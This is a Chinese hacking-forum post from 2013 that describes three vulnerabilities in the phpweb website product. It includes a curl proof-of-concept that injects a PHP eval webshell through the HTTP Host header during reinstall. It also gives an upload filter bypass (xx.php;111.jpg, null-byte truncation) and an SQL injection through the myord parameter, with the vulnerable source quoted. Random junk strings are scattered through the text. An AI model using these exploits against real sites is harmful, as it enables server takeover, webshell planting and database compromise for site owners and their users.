找回密码
 立即注册
查看: 2929|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:: p& d& B9 e7 U1 ^; d" v, ^8 R+ Q
' p; Q1 {% f* o: P  ]+ V0 x
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
* C% k$ c& @) q- I$ t $ Q4 P0 ^! W8 T2 z9 r
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件$ w$ _0 \& w1 w9 y  l
鸡肋2: 有一定安全常识的站长都会删掉 install 目录& q6 L* I2 I4 _  H  e$ ^. f$ [: d+ j

! K6 o8 T  Z2 K% \( N7 x' W虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
/ F) V( N+ v, H/ ~: g$ | ) {  q0 ~) ]8 X
分析:8 ^: `* B) D0 {7 p$ J
9 r6 C, U8 g5 j9 @

( L2 O3 [9 L; E0 r0 @3 P& g6 W& Z$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
  Z" d& ?) G2 E 9 j3 {5 G. I* t/ e
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
: S+ d& f6 F$ c3 m# E5 E- D                                            $filestr=str_replace(" ","",$filestr);
; ~9 f' @; y6 ^                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);" C" {& C# p7 X, J9 K
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);& Q( U4 h  \- L* u' V4 }% ^. V
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
7 g& X% i5 C0 n; |7 l& b0 w  w/ j                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
% R0 E! N' o- {( q( f' n2 N% N0 d                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
  p2 \- R1 W2 S) ]                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
  _! X7 a* T$ A- W/ z! S7 O                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
" P3 B8 {8 f- A# d5 N1 ^: S : s2 P+ p* L3 M3 d+ j* s6 }
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);' u; ^, @: d6 a
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
8 c% T8 E1 _6 k3 v. S! w8 X& l# {
. S: ?% G* ^$ apoc:" D( y- T3 d7 q
) Y) q% W( r  Y/ W5 J$ l
?
# ^# d0 _) [  E0 y; ~1
4 F5 s0 H1 K0 f6 L0 ncurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
# e8 L( W6 W  _; M: N, R: Fshell地址: /config.inc.php2 ]6 o$ }* Z# \. Y1 i
跟之前的 phpcms一样 需要远程数据库
2 b  I8 t9 k3 n" b1 K 4 x. v. n9 w1 T  Y- D0 J/ r
——————————————————–
, [" q3 S5 U( B* @上传漏洞(需要进后台):1 |+ w8 f  ?* T, n/ C
漏洞文件: /kedit/upload_cgi/upload.php! S0 s7 c" c1 b, _) b2 E
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用8 |  r/ B) Y! O: h- h2 C
2 V" f- Y" U. a( v- D
" {1 ^' R9 T# Y5 \
<?php
. ?0 Q6 _0 a  q- v    define("ROOTPATH", "../../");
& j5 G  O0 C/ P, o    include(ROOTPATH."includes/admin.inc.php");
; o' k: B. I1 \7 P9 y$ ~4 E4 F. r    NeedAuth(0);
7 Z, o2 I# B7 }' [7 Y, W$ p" T& D( ~9 {
7 I. ?; `- p, Q) O! N+ Q    $dt=date("Ymd",time());
/ y! o) t+ q3 m" s    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
* u% T. z. Q! v            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);; h# b" S$ [% V7 s  I. X
    }/ K( e9 u( l! a% w$ y- T7 i

  Y- [- U2 K& f1 Q6 _" U$ s    //文件保存目录路径
! \" c% A, u. l6 C) `$ ~5 A    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';$ [0 t! x2 r1 F! {) z! k
    echo $save_path;7 W! U+ g" t) ?% V* A
    //文件保存目录URL5 Y6 [! F( ]/ g2 s" [
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
4 g8 ~  k: {# g5 R' b& q
- e. Y( C1 ?. Y: K    //定义允许上传的文件扩展名
3 ~& y' k8 C! z* O    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
# ~4 c( O& r4 a7 y! y2 \! O 6 k  p! y! E( ^) @
    //最大文件大小; C8 t* }& |+ {5 J  ~
    $max_size = 1000000;
- c: G" _4 f9 l& X& O3 G6 L- q . ~" V7 v# C9 t5 p
    //更改目录权限
2 K4 a0 ]1 @5 v9 q    @mkdir($save_path, 0777);+ C* F. Q, R6 V+ ^/ m% g
7 W+ x# ?+ C0 F, t
    //文件的全部路径0 w  D' Q+ A2 o2 N. ^# ]9 `6 _
    $file_path = $save_path.$_POST['fileName'];   //保存文件名
+ E; x* B- P! p( y' V3 e
- L  l, M3 a& s$ ]    //文件URL- C; Y9 V: _& _) B; k! c: }  r
    $file_url = $save_url.$_POST['fileName'];
  A0 S, c9 n: M! ^5 C//有上传文件时6 M) o  z- Y9 E. S& E
    if (empty($_FILES) === false) {% n: a5 I2 e8 n: [

. Y2 i4 d! ^1 K5 U( N2 t            //原文件名: ~' z2 q- T+ |7 j8 X5 p$ g4 Y
            $file_name = $_FILES['fileData']['name'];
3 K9 U+ R7 C" B. Z            //服务器上临时文件名- f( A  Y+ W, g( N9 P! z- {2 ?
            $tmp_name = $_FILES['fileData']['tmp_name'];
- ]/ E' e" Z1 q8 }            //文件大小
" Z, N9 k4 B, d9 w8 }            $file_size = $_FILES['fileData']['size'];, R+ Q8 ]9 A: ^  Z: z7 t% H4 u- n
            //检查目录
7 q; D/ @+ ?3 ~' [" t+ l            if (@is_dir($save_path) === false) {8 C3 E: d4 j" S, U( D) A7 h( x% N
                    alert("上传目录不存在。");1 ~' K" o+ B# W* g! U3 T3 H
            }& d  k1 o$ f1 O6 a
            //检查目录写权限) f1 {* M# U4 s, l. H
            if (@is_writable($save_path) === false) {
# F5 _+ k* E& j$ L7 V) u- Y                    alert("上传目录没有写权限。");
# ^' q( {% `- F$ v) t. h9 y            }
! P: G; w6 A+ v; x            //检查是否已上传5 P/ D; m: I  x9 v: p
            if (@is_uploaded_file($tmp_name) === false) {
( V1 M) O( T( [, X                    alert("临时文件可能不是上传文件。");) C6 E$ z; l1 p& q4 _) P3 Z7 @
            }
# y% T6 ^. K7 c! q) T            //检查文件大小
* ?* H) z$ p+ T0 x2 i; m6 b8 g  g            if ($file_size > $max_size) {
* X/ b3 D- l- h/ z+ W" S8 L                    alert("上传文件大小超过限制。");
" k2 C) f+ e5 P; K            }
8 g9 g! A5 C% `8 T. }; B+ n! i            //获得文件扩展名2 h5 o; ^1 ^  f9 }; \0 \
            $temp_arr = explode(".", $_POST['fileName']);
- \( V' y& y  T: W            $file_ext = array_pop($temp_arr);  a, W: A  a( }# M$ O) {8 h
            $file_ext = trim($file_ext);
5 h% u6 q  K( Z- R& o) s: M5 R            $file_ext = strtolower($file_ext);$ L. b. J, u8 J* g  d4 A

9 Q: Y* D6 P5 L* M$ u. V, B- B. G            //检查扩展名   ; W6 C* c0 K9 y$ w
            if (in_array($file_ext, $ext_arr) === false) {     
7 x/ H! `( X: N; W- |$ y, T' B' n                    alert("上传文件扩展名是不允许的扩展名。");
/ m3 c6 z" O9 D- w) r' v7 d* C0 G2 q3 Y            }
- }7 A3 X3 O3 l2 m # B+ w/ ~: r$ T# p
            //移动文件   
2 f2 m# {6 `5 n; J3 {" |            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^, m6 m0 Y# c/ d4 v
            if (move_uploaded_file($tmp_name, $file_path) === false) {
/ \# R+ Z: Y3 }4 K$ T3 }$ @# W                    alert("上传文件失败。");; e5 s7 p0 [9 X0 |3 N
            }
8 I6 r6 I, i# B/ C# h
, m" J/ m$ Y7 D4 A) L4 g1 M, K6 [            @chmod($file_path,0666);* S3 V# [1 p8 E
2 G% ^: L4 v* P% ~! F
    ?>
, {# H6 r2 G2 Z0 p' f抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227$ F; H" }/ B2 t  L

) _, Y( O2 g) M  e& Bapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
$ z/ s  q4 g2 w' Z8 y: W; P* } ; S$ E0 M& F$ b2 r
——————————————————
* Z3 f) x! [0 j' C( r注入漏洞:  j9 P+ N& v: L5 l1 j! r2 `
漏洞文件:search/module/search.php  _3 g) K3 S0 B+ J% i/ z  U
/search/index.php?key=1&myord=1 [sqlinjection]
- c8 |5 n' y. H( p7 c7 f9 @ 1 B0 Y- P* N6 P* J
; g3 I, ~* F$ U8 o9 V+ S  d7 q" S( \
<?php7 b9 Y. e8 ^8 c) Z# H9 P) P
   //       ... 省略 n 行...: ]2 h$ j, R: ?& \9 l
   //第18行:' J7 r7 U5 M+ c
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响" x0 _4 N( E1 n) W
           $page=htmlspecialchars($_GET["page"]);
+ M* _5 k: z3 t3 {9 {4 z/ b           $myord=htmlspecialchars($_GET["myord"]);+ b2 A. D" p3 S+ _$ x
: l4 o4 r( A* ]. p
   //       ... 省略 n 行...
0 l6 d  i1 C7 S& l3 k+ [   $key,$myord 两个参数带入查询
6 Z7 N3 @5 x! f" N" v2 j   //第47行 $key:
& u- w, ~7 M# @% x7 Z6 y- s! p
" i+ c! ~3 }4 Y) _; A: L+ l   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过.., W' Z) ~5 G" l
6 w/ ~9 K3 {+ K8 |5 C# W) {
   //第197行 $myord
, V  f1 ?9 P; H   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
; g8 ^% t$ {, F( b
6 [7 ?4 w9 t/ m- Q1 I) ~( }   ?>
8 g2 I% M; F- f" h6 j6 ~! K$ o! D" |
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表